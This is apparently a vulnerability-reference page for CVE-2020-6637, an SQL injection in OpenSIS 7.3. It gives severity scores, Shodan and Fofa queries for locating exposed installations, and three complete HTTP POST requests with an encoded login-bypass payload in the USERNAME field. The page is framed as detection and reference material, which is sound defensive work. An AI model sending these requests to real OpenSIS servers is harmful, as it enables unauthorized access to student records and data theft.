🔙 목록으로 돌아가기

CVE-2020-6637: OpenSIS 7.3 - SQL Injection

TitleOpenSIS 7.3 - SQL Injection
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationApply the latest security patch or upgrade to a patched version of OpenSIS.
CVSS Score9.8
EPSS Score0.78071
CVE IDCVE-2020-6637
CWE IDCWE-89
Shodan Queryhttp.title:"openSIS"http.title:"opensis"
Fofa Querytitle="opensis"
Tags cve cve2020 sqli opensis os4ed vuln

🔍 Vulnerability Description

OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.

🌐 HTTP Request

POST /account/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
POST /opensis/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-6637.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-6637.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A